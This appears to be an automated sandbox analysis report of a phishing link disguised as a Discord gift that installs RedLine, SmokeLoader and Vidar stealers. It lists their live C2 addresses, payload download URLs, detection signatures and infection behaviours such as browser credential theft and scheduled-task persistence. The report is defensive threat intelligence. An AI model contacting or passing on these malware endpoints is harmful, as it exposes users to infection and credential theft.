redline | hxxp://discordc[.]gift/duVhHCkqq7

Analysis

max time kernel
373s
max time network
1514s
platform
windows10_x64
resource
win10-en-20210920
submitted
16-10-2021 06:26

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

http://discordc.gift/duVhHCkqq7
Sample

211016-g7a2eacefp

Score

10^/10

redline smokeloader vidar 933 ani she backdoor discovery evasion infostealer spyware stealer suricata trojan

Malware Config

Extracted

Family

redline

Botnet

ANI

194.104.136.5:46013

Extracted

Family

redline

Botnet

she

135.181.129.119:4805

Extracted

Family

smokeloader

Version

2020

http://directorycart.com/upload/

http://tierzahnarzt.at/upload/

http://streetofcards.com/upload/

http://ycdfzd.com/upload/

http://successcoachceo.com/upload/

http://uhvu.cn/upload/

http://japanarticle.com/upload/

rc4.i32

Extracted

Family

vidar

Version

41.4

Botnet

933

https://mas.to/@sslam

Attributes

profile_id
933

Signatures

Process spawned unexpected child process 3 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

rundll32.exerundll32.exerundll32.exe

description	pid	pid_target	process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3668	5720	rundll32.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	8264	5720	rundll32.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	8640	5720	rundll32.exe

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine Payload 4 IoCs

Processes:

resource	yara_rule
behavioral2/memory/4900-242-0x000000000041B23A-mapping.dmp	family_redline
behavioral2/memory/4900-241-0x0000000000400000-0x0000000000422000-memory.dmp	family_redline
behavioral2/memory/4596-249-0x0000000001920000-0x000000000193F000-memory.dmp	family_redline
behavioral2/memory/4596-256-0x0000000005C00000-0x0000000005C1D000-memory.dmp	family_redline

SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader
Vidar
Vidar is an infostealer based on Arkei stealer.
stealer vidar
suricata: ET MALWARE Fake Software Download Redirect Leading to Malware M3
suricata: ET MALWARE Fake Software Download Redirect Leading to Malware M3
suricata
suricata: ET MALWARE GCleaner Downloader Activity M5
suricata: ET MALWARE GCleaner Downloader Activity M5
suricata
suricata: ET MALWARE JS/Nemucod requesting EXE payload 2016-02-01
suricata: ET MALWARE JS/Nemucod requesting EXE payload 2016-02-01
suricata
suricata: ET MALWARE JS/Nemucod.M.gen downloading EXE payload
suricata: ET MALWARE JS/Nemucod.M.gen downloading EXE payload
suricata
suricata: ET MALWARE Sharik/Smoke CnC Beacon 11
suricata: ET MALWARE Sharik/Smoke CnC Beacon 11
suricata
suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
suricata
suricata: ET MALWARE Vidar/Arkei Stealer Client Data Upload
suricata: ET MALWARE Vidar/Arkei Stealer Client Data Upload
suricata

Vidar Stealer 2 IoCs

stealer

Processes:

resource	yara_rule
behavioral2/memory/5340-420-0x0000000000400000-0x0000000001728000-memory.dmp	family_vidar
behavioral2/memory/5340-422-0x0000000001880000-0x00000000019CA000-memory.dmp	family_vidar

Downloads MZ/PE file

Executes dropped EXE 29 IoCs

Processes:

software_reporter_tool.exesoftware_reporter_tool.exesoftware_reporter_tool.exesoftware_reporter_tool.exesetup_installer.exesetup_install.exeSat02a49e7e3a431c7.exeSat0296c9dad7692023.exeSat02827e2943c1f18a7.exeSat023473347dfed5a.exeSat02bf7d5639a.exeSat02392068575.exepowershell.exeSat02a6e1469543.exeSat02f9cd0f8f.exeSat02614aa7aa9e9d.exeSat0292f4622e87ae.exeSat0264f0e3e2e3407e.exeSat02b7c3d3dc184.tmpSat02ef0dfe9e5.exeSat02b7c3d3dc184.exeDllHost.exeSat02a49e7e3a431c7.exe09xU.exEpowershell.exe7435218.scrLzmwAqmV.exe1084269.scr8778922.scr

pid	process
972	software_reporter_tool.exe
2328	software_reporter_tool.exe
3628	software_reporter_tool.exe
1768	software_reporter_tool.exe
1520	setup_installer.exe
1212	setup_install.exe
3592	Sat02a49e7e3a431c7.exe
4164	Sat0296c9dad7692023.exe
4240	Sat02827e2943c1f18a7.exe
4276	Sat023473347dfed5a.exe
4292	Sat02bf7d5639a.exe
4364	Sat02392068575.exe
4484	powershell.exe
4476	Sat02a6e1469543.exe
4596	Sat02f9cd0f8f.exe
4652	Sat02614aa7aa9e9d.exe
4636	Sat0292f4622e87ae.exe
4716	Sat0264f0e3e2e3407e.exe
4732	Sat02b7c3d3dc184.tmp
4780	Sat02ef0dfe9e5.exe
5024	Sat02b7c3d3dc184.exe
5084	DllHost.exe
4900	Sat02a49e7e3a431c7.exe
4888	09xU.exE
4848	powershell.exe
4972	7435218.scr
4644	LzmwAqmV.exe
4736	1084269.scr
1260	8778922.scr

Modifies Windows Firewall 1 TTPs
evasion

Modify Existing Service
T1031

Patched UPX-packed file 6 IoCs

Sample is packed with UPX but required header fields are zeroed out to prevent unpacking with the default UPX tool.

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\SwReporter\93.269.200\software_reporter_tool.exe	patched_upx
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\SwReporter\93.269.200\software_reporter_tool.exe	patched_upx
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\SwReporter\93.269.200\software_reporter_tool.exe	patched_upx
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\SwReporter\93.269.200\software_reporter_tool.exe	patched_upx
\??\c:\users\admin\appdata\local\google\chrome\user data\swreporter\93.269.200\em003_64.dll	patched_upx
\Users\Admin\AppData\Local\Google\Chrome\User Data\SwReporter\93.269.200\em003_64.dll	patched_upx

Loads dropped DLL 14 IoCs

Processes:

software_reporter_tool.exesetup_install.exeSat02b7c3d3dc184.tmpDllHost.exe

pid	process
3628	software_reporter_tool.exe
3628	software_reporter_tool.exe
3628	software_reporter_tool.exe
3628	software_reporter_tool.exe
3628	software_reporter_tool.exe
3628	software_reporter_tool.exe
3628	software_reporter_tool.exe
1212	setup_install.exe
1212	setup_install.exe
1212	setup_install.exe
1212	setup_install.exe
1212	setup_install.exe
4732	Sat02b7c3d3dc184.tmp
5084	DllHost.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102
Looks up external IP address via web service 10 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

440 ipinfo.io
279 ip-api.com
416 ipinfo.io
439 ipinfo.io
550 ipinfo.io
551 ipinfo.io
567 ipinfo.io
292 ipinfo.io
293 ipinfo.io
296 ipinfo.io
Suspicious use of SetThreadContext 1 IoCs

Processes:

Sat02a49e7e3a431c7.exe

description pid process target process

PID 3592 set thread context of 4900 3592 Sat02a49e7e3a431c7.exe Sat02a49e7e3a431c7.exe
Drops file in Windows directory 1 IoCs

Processes:

WerFault.exe

description ioc process

File created C:\Windows\AppCompat\Programs\Amcache.hve.tmp WerFault.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

flow	ioc
440	ipinfo.io
279	ip-api.com
416	ipinfo.io
439	ipinfo.io
550	ipinfo.io
551	ipinfo.io
567	ipinfo.io
292	ipinfo.io
293	ipinfo.io
296	ipinfo.io

description	pid	process	target process
PID 3592 set thread context of 4900	3592	Sat02a49e7e3a431c7.exe	Sat02a49e7e3a431c7.exe

description	ioc	process
File created	C:\Windows\AppCompat\Programs\Amcache.hve.tmp	WerFault.exe

Program crash 28 IoCs

Processes:

WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exe

pid	pid_target	process	target process
4936	4164	WerFault.exe	Sat0296c9dad7692023.exe
5424	4164	WerFault.exe	Sat0296c9dad7692023.exe
6072	4164	WerFault.exe	Sat0296c9dad7692023.exe
5688	4164	WerFault.exe	Sat0296c9dad7692023.exe
1636	4164	WerFault.exe	Sat0296c9dad7692023.exe
6864	5856	WerFault.exe	setup_2.exe
6348	5856	WerFault.exe	setup_2.exe
6968	5856	WerFault.exe	setup_2.exe
5532	5968	WerFault.exe	4.exe
7048	5856	WerFault.exe	setup_2.exe
4380	4260	WerFault.exe	GE73nhcXFUVcaoOmDAtmMB2J.exe
7128	5856	WerFault.exe	setup_2.exe
5424	4260	WerFault.exe	GE73nhcXFUVcaoOmDAtmMB2J.exe
6076	4260	WerFault.exe	GE73nhcXFUVcaoOmDAtmMB2J.exe
6864	7008	WerFault.exe	uvWn7u10pW9r06nU3mEwxc8P.exe
5552	4260	WerFault.exe	GE73nhcXFUVcaoOmDAtmMB2J.exe
4432	7008	WerFault.exe	uvWn7u10pW9r06nU3mEwxc8P.exe
6856	7008	WerFault.exe	uvWn7u10pW9r06nU3mEwxc8P.exe
6536	5628	WerFault.exe	GE73nhcXFUVcaoOmDAtmMB2J.exe
4368	7008	WerFault.exe	uvWn7u10pW9r06nU3mEwxc8P.exe
6856	5628	WerFault.exe	GE73nhcXFUVcaoOmDAtmMB2J.exe
5404	5856	WerFault.exe	setup_2.exe
7596	5856	WerFault.exe	setup_2.exe
7912	5856	WerFault.exe	setup_2.exe
8008	5856	WerFault.exe	setup_2.exe
6088	5340	WerFault.exe	Soft1WW02.exe
6456	5856	WerFault.exe	setup_2.exe
7676	5856	WerFault.exe	setup_2.exe

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

Sat02bf7d5639a.exe

description	ioc	process
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Sat02bf7d5639a.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Sat02bf7d5639a.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Sat02bf7d5639a.exe

Creates scheduled task(s) 1 TTPs 8 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exe

pid process

7584 schtasks.exe
8160 schtasks.exe
8152 schtasks.exe
2256 schtasks.exe
2508 schtasks.exe
7292 schtasks.exe
7284 schtasks.exe
7532 schtasks.exe
Download via BitsAdmin 1 TTPs 2 IoCs
dropper

BITS Jobs
T1197

Processes:

bitsadmin.exebitsadmin.exe

pid process

4392 bitsadmin.exe
9632 bitsadmin.exe

pid	process
7584	schtasks.exe
8160	schtasks.exe
8152	schtasks.exe
2256	schtasks.exe
2508	schtasks.exe
7292	schtasks.exe
7284	schtasks.exe
7532	schtasks.exe

pid	process
4392	bitsadmin.exe
9632	bitsadmin.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

chrome.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe

Kills process with taskkill 9 IoCs

evasion

Processes:

taskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exe

pid	process
8740	taskkill.exe
9144	taskkill.exe
2368	taskkill.exe
4380	taskkill.exe
4852	taskkill.exe
5528	taskkill.exe
5004	taskkill.exe
4328	taskkill.exe
6588	taskkill.exe

Modifies registry class 1 IoCs

Processes:

chrome.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-2481030822-2828258191-1606198294-1000_Classes\Local Settings chrome.exe
Script User-Agent 1 IoCs
Uses user-agent string associated with script host/environment.

Processes:

description flow ioc

HTTP User-Agent header 273 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2481030822-2828258191-1606198294-1000_Classes\Local Settings	chrome.exe

description	flow	ioc
HTTP User-Agent header	273	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 38 IoCs

Processes:

chrome.exechrome.exechrome.exechrome.exechrome.exechrome.exechrome.exechrome.exechrome.exechrome.exechrome.exesoftware_reporter_tool.exechrome.exechrome.exechrome.exepowershell.exeSat02bf7d5639a.exe

pid	process
2924	chrome.exe
2924	chrome.exe
2384	chrome.exe
2384	chrome.exe
2988	chrome.exe
2988	chrome.exe
3208	chrome.exe
3208	chrome.exe
3788	chrome.exe
3788	chrome.exe
840	chrome.exe
840	chrome.exe
3156	chrome.exe
3156	chrome.exe
3864	chrome.exe
3864	chrome.exe
3864	chrome.exe
3864	chrome.exe
1464	chrome.exe
1464	chrome.exe
2756	chrome.exe
2756	chrome.exe
1336	chrome.exe
1336	chrome.exe
972	software_reporter_tool.exe
972	software_reporter_tool.exe
3204	chrome.exe
3204	chrome.exe
1020	chrome.exe
1020	chrome.exe
1252	chrome.exe
1252	chrome.exe
4052	powershell.exe
4052	powershell.exe
4052	powershell.exe
4052	powershell.exe
4292	Sat02bf7d5639a.exe
4292	Sat02bf7d5639a.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 34 IoCs

Processes:

chrome.exe

pid	process
2384	chrome.exe
2384	chrome.exe
2384	chrome.exe
2384	chrome.exe
2384	chrome.exe
2384	chrome.exe
2384	chrome.exe
2384	chrome.exe
2384	chrome.exe
2384	chrome.exe
2384	chrome.exe
2384	chrome.exe
2384	chrome.exe
2384	chrome.exe
2384	chrome.exe
2384	chrome.exe
2384	chrome.exe
2384	chrome.exe
2384	chrome.exe
2384	chrome.exe
2384	chrome.exe
2384	chrome.exe
2384	chrome.exe
2384	chrome.exe
2384	chrome.exe
2384	chrome.exe
2384	chrome.exe
2384	chrome.exe
2384	chrome.exe
2384	chrome.exe
2384	chrome.exe
2384	chrome.exe
2384	chrome.exe
2384	chrome.exe

Suspicious use of AdjustPrivilegeToken 48 IoCs

Processes:

software_reporter_tool.exesoftware_reporter_tool.exesoftware_reporter_tool.exesoftware_reporter_tool.exeSat023473347dfed5a.exepowershell.exeSat02392068575.exeSat02ef0dfe9e5.exeWerFault.exe

description	pid	process
Token: 33	2328	software_reporter_tool.exe
Token: SeIncBasePriorityPrivilege	2328	software_reporter_tool.exe
Token: 33	972	software_reporter_tool.exe
Token: SeIncBasePriorityPrivilege	972	software_reporter_tool.exe
Token: 33	3628	software_reporter_tool.exe
Token: SeIncBasePriorityPrivilege	3628	software_reporter_tool.exe
Token: 33	1768	software_reporter_tool.exe
Token: SeIncBasePriorityPrivilege	1768	software_reporter_tool.exe
Token: SeCreateTokenPrivilege	4276	Sat023473347dfed5a.exe
Token: SeAssignPrimaryTokenPrivilege	4276	Sat023473347dfed5a.exe
Token: SeLockMemoryPrivilege	4276	Sat023473347dfed5a.exe
Token: SeIncreaseQuotaPrivilege	4276	Sat023473347dfed5a.exe
Token: SeMachineAccountPrivilege	4276	Sat023473347dfed5a.exe
Token: SeTcbPrivilege	4276	Sat023473347dfed5a.exe
Token: SeSecurityPrivilege	4276	Sat023473347dfed5a.exe
Token: SeTakeOwnershipPrivilege	4276	Sat023473347dfed5a.exe
Token: SeLoadDriverPrivilege	4276	Sat023473347dfed5a.exe
Token: SeSystemProfilePrivilege	4276	Sat023473347dfed5a.exe
Token: SeSystemtimePrivilege	4276	Sat023473347dfed5a.exe
Token: SeProfSingleProcessPrivilege	4276	Sat023473347dfed5a.exe
Token: SeIncBasePriorityPrivilege	4276	Sat023473347dfed5a.exe
Token: SeCreatePagefilePrivilege	4276	Sat023473347dfed5a.exe
Token: SeCreatePermanentPrivilege	4276	Sat023473347dfed5a.exe
Token: SeBackupPrivilege	4276	Sat023473347dfed5a.exe
Token: SeRestorePrivilege	4276	Sat023473347dfed5a.exe
Token: SeShutdownPrivilege	4276	Sat023473347dfed5a.exe
Token: SeDebugPrivilege	4276	Sat023473347dfed5a.exe
Token: SeAuditPrivilege	4276	Sat023473347dfed5a.exe
Token: SeSystemEnvironmentPrivilege	4276	Sat023473347dfed5a.exe
Token: SeChangeNotifyPrivilege	4276	Sat023473347dfed5a.exe
Token: SeRemoteShutdownPrivilege	4276	Sat023473347dfed5a.exe
Token: SeUndockPrivilege	4276	Sat023473347dfed5a.exe
Token: SeSyncAgentPrivilege	4276	Sat023473347dfed5a.exe
Token: SeEnableDelegationPrivilege	4276	Sat023473347dfed5a.exe
Token: SeManageVolumePrivilege	4276	Sat023473347dfed5a.exe
Token: SeImpersonatePrivilege	4276	Sat023473347dfed5a.exe
Token: SeCreateGlobalPrivilege	4276	Sat023473347dfed5a.exe
Token: 31	4276	Sat023473347dfed5a.exe
Token: 32	4276	Sat023473347dfed5a.exe
Token: 33	4276	Sat023473347dfed5a.exe
Token: 34	4276	Sat023473347dfed5a.exe
Token: 35	4276	Sat023473347dfed5a.exe
Token: SeDebugPrivilege	4052	powershell.exe
Token: SeDebugPrivilege	4364	Sat02392068575.exe
Token: SeDebugPrivilege	4780	Sat02ef0dfe9e5.exe
Token: SeRestorePrivilege	4936	WerFault.exe
Token: SeBackupPrivilege	4936	WerFault.exe
Token: SeBackupPrivilege	4936	WerFault.exe

Suspicious use of FindShellTrayWindow 57 IoCs

Processes:

chrome.exe

pid	process
2384	chrome.exe
2384	chrome.exe
2384	chrome.exe
2384	chrome.exe
2384	chrome.exe
2384	chrome.exe
2384	chrome.exe
2384	chrome.exe
2384	chrome.exe
2384	chrome.exe
2384	chrome.exe
2384	chrome.exe
2384	chrome.exe
2384	chrome.exe
2384	chrome.exe
2384	chrome.exe
2384	chrome.exe
2384	chrome.exe
2384	chrome.exe
2384	chrome.exe
2384	chrome.exe
2384	chrome.exe
2384	chrome.exe
2384	chrome.exe
2384	chrome.exe
2384	chrome.exe
2384	chrome.exe
2384	chrome.exe
2384	chrome.exe
2384	chrome.exe
2384	chrome.exe
2384	chrome.exe
2384	chrome.exe
2384	chrome.exe
2384	chrome.exe
2384	chrome.exe
2384	chrome.exe
2384	chrome.exe
2384	chrome.exe
2384	chrome.exe
2384	chrome.exe
2384	chrome.exe
2384	chrome.exe
2384	chrome.exe
2384	chrome.exe
2384	chrome.exe
2384	chrome.exe
2384	chrome.exe
2384	chrome.exe
2384	chrome.exe
2384	chrome.exe
2384	chrome.exe
2384	chrome.exe
2384	chrome.exe
2384	chrome.exe
2384	chrome.exe
2384	chrome.exe

Suspicious use of SendNotifyMessage 24 IoCs

Processes:

chrome.exe

pid	process
2384	chrome.exe
2384	chrome.exe
2384	chrome.exe
2384	chrome.exe
2384	chrome.exe
2384	chrome.exe
2384	chrome.exe
2384	chrome.exe
2384	chrome.exe
2384	chrome.exe
2384	chrome.exe
2384	chrome.exe
2384	chrome.exe
2384	chrome.exe
2384	chrome.exe
2384	chrome.exe
2384	chrome.exe
2384	chrome.exe
2384	chrome.exe
2384	chrome.exe
2384	chrome.exe
2384	chrome.exe
2384	chrome.exe
2384	chrome.exe

Suspicious use of SetWindowsHookEx 15 IoCs

Processes:

setup_x86_x64_install.exesetup_installer.exesetup_install.exeSat0296c9dad7692023.exeSat023473347dfed5a.exeSat02bf7d5639a.exepowershell.exeSat0292f4622e87ae.exeSat02f9cd0f8f.exeSat02614aa7aa9e9d.exeSat02b7c3d3dc184.tmpSat02b7c3d3dc184.exeDllHost.exepowershell.exe

pid	process
3260	setup_x86_x64_install.exe
1520	setup_installer.exe
1212	setup_install.exe
4164	Sat0296c9dad7692023.exe
4240
4276	Sat023473347dfed5a.exe
4292	Sat02bf7d5639a.exe
4484	powershell.exe
4636	Sat0292f4622e87ae.exe
4596	Sat02f9cd0f8f.exe
4652	Sat02614aa7aa9e9d.exe
4732	Sat02b7c3d3dc184.tmp
5024	Sat02b7c3d3dc184.exe
5084	DllHost.exe
4848	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

chrome.exe

description	pid	process	target process
PID 2384 wrote to memory of 2284	2384	chrome.exe	chrome.exe
PID 2384 wrote to memory of 2284	2384	chrome.exe	chrome.exe
PID 2384 wrote to memory of 1948	2384	chrome.exe	chrome.exe
PID 2384 wrote to memory of 1948	2384	chrome.exe	chrome.exe
PID 2384 wrote to memory of 1948	2384	chrome.exe	chrome.exe
PID 2384 wrote to memory of 1948	2384	chrome.exe	chrome.exe
PID 2384 wrote to memory of 1948	2384	chrome.exe	chrome.exe
PID 2384 wrote to memory of 1948	2384	chrome.exe	chrome.exe
PID 2384 wrote to memory of 1948	2384	chrome.exe	chrome.exe
PID 2384 wrote to memory of 1948	2384	chrome.exe	chrome.exe
PID 2384 wrote to memory of 1948	2384	chrome.exe	chrome.exe
PID 2384 wrote to memory of 1948	2384	chrome.exe	chrome.exe
PID 2384 wrote to memory of 1948	2384	chrome.exe	chrome.exe
PID 2384 wrote to memory of 1948	2384	chrome.exe	chrome.exe
PID 2384 wrote to memory of 1948	2384	chrome.exe	chrome.exe
PID 2384 wrote to memory of 1948	2384	chrome.exe	chrome.exe
PID 2384 wrote to memory of 1948	2384	chrome.exe	chrome.exe
PID 2384 wrote to memory of 1948	2384	chrome.exe	chrome.exe
PID 2384 wrote to memory of 1948	2384	chrome.exe	chrome.exe
PID 2384 wrote to memory of 1948	2384	chrome.exe	chrome.exe
PID 2384 wrote to memory of 1948	2384	chrome.exe	chrome.exe
PID 2384 wrote to memory of 1948	2384	chrome.exe	chrome.exe
PID 2384 wrote to memory of 1948	2384	chrome.exe	chrome.exe
PID 2384 wrote to memory of 1948	2384	chrome.exe	chrome.exe
PID 2384 wrote to memory of 1948	2384	chrome.exe	chrome.exe
PID 2384 wrote to memory of 1948	2384	chrome.exe	chrome.exe
PID 2384 wrote to memory of 1948	2384	chrome.exe	chrome.exe
PID 2384 wrote to memory of 1948	2384	chrome.exe	chrome.exe
PID 2384 wrote to memory of 1948	2384	chrome.exe	chrome.exe
PID 2384 wrote to memory of 1948	2384	chrome.exe	chrome.exe
PID 2384 wrote to memory of 1948	2384	chrome.exe	chrome.exe
PID 2384 wrote to memory of 1948	2384	chrome.exe	chrome.exe
PID 2384 wrote to memory of 1948	2384	chrome.exe	chrome.exe
PID 2384 wrote to memory of 1948	2384	chrome.exe	chrome.exe
PID 2384 wrote to memory of 1948	2384	chrome.exe	chrome.exe
PID 2384 wrote to memory of 1948	2384	chrome.exe	chrome.exe
PID 2384 wrote to memory of 1948	2384	chrome.exe	chrome.exe
PID 2384 wrote to memory of 1948	2384	chrome.exe	chrome.exe
PID 2384 wrote to memory of 1948	2384	chrome.exe	chrome.exe
PID 2384 wrote to memory of 1948	2384	chrome.exe	chrome.exe
PID 2384 wrote to memory of 1948	2384	chrome.exe	chrome.exe
PID 2384 wrote to memory of 1948	2384	chrome.exe	chrome.exe
PID 2384 wrote to memory of 2924	2384	chrome.exe	chrome.exe
PID 2384 wrote to memory of 2924	2384	chrome.exe	chrome.exe
PID 2384 wrote to memory of 3980	2384	chrome.exe	chrome.exe
PID 2384 wrote to memory of 3980	2384	chrome.exe	chrome.exe
PID 2384 wrote to memory of 3980	2384	chrome.exe	chrome.exe
PID 2384 wrote to memory of 3980	2384	chrome.exe	chrome.exe
PID 2384 wrote to memory of 3980	2384	chrome.exe	chrome.exe
PID 2384 wrote to memory of 3980	2384	chrome.exe	chrome.exe
PID 2384 wrote to memory of 3980	2384	chrome.exe	chrome.exe
PID 2384 wrote to memory of 3980	2384	chrome.exe	chrome.exe
PID 2384 wrote to memory of 3980	2384	chrome.exe	chrome.exe
PID 2384 wrote to memory of 3980	2384	chrome.exe	chrome.exe
PID 2384 wrote to memory of 3980	2384	chrome.exe	chrome.exe
PID 2384 wrote to memory of 3980	2384	chrome.exe	chrome.exe
PID 2384 wrote to memory of 3980	2384	chrome.exe	chrome.exe
PID 2384 wrote to memory of 3980	2384	chrome.exe	chrome.exe
PID 2384 wrote to memory of 3980	2384	chrome.exe	chrome.exe
PID 2384 wrote to memory of 3980	2384	chrome.exe	chrome.exe
PID 2384 wrote to memory of 3980	2384	chrome.exe	chrome.exe
PID 2384 wrote to memory of 3980	2384	chrome.exe	chrome.exe
PID 2384 wrote to memory of 3980	2384	chrome.exe	chrome.exe
PID 2384 wrote to memory of 3980	2384	chrome.exe	chrome.exe

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" http://discordc.gift/duVhHCkqq7
1⤵
- Enumerates system info in registry
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:2384

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0xd8,0xdc,0xe0,0xb4,0xe4,0x7ff96ec54f50,0x7ff96ec54f60,0x7ff96ec54f70
2⤵
PID:2284

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1472,5163458212380678115,17298433233957801581,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1492 /prefetch:2
2⤵
PID:1948

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1472,5163458212380678115,17298433233957801581,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2080 /prefetch:8
2⤵
PID:3980

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1472,5163458212380678115,17298433233957801581,131072 --lang=en-US --service-sandbox-type=network --mojo-platform-channel-handle=1928 /prefetch:8
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:2924

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1472,5163458212380678115,17298433233957801581,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2700 /prefetch:1
2⤵
PID:2112

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1472,5163458212380678115,17298433233957801581,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2680 /prefetch:1
2⤵
PID:2584

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1472,5163458212380678115,17298433233957801581,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4108 /prefetch:8
2⤵
PID:2172

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1472,5163458212380678115,17298433233957801581,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4248 /prefetch:1
2⤵
PID:2416

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1472,5163458212380678115,17298433233957801581,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4972 /prefetch:8
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:2988

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1472,5163458212380678115,17298433233957801581,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4992 /prefetch:8
2⤵
PID:840

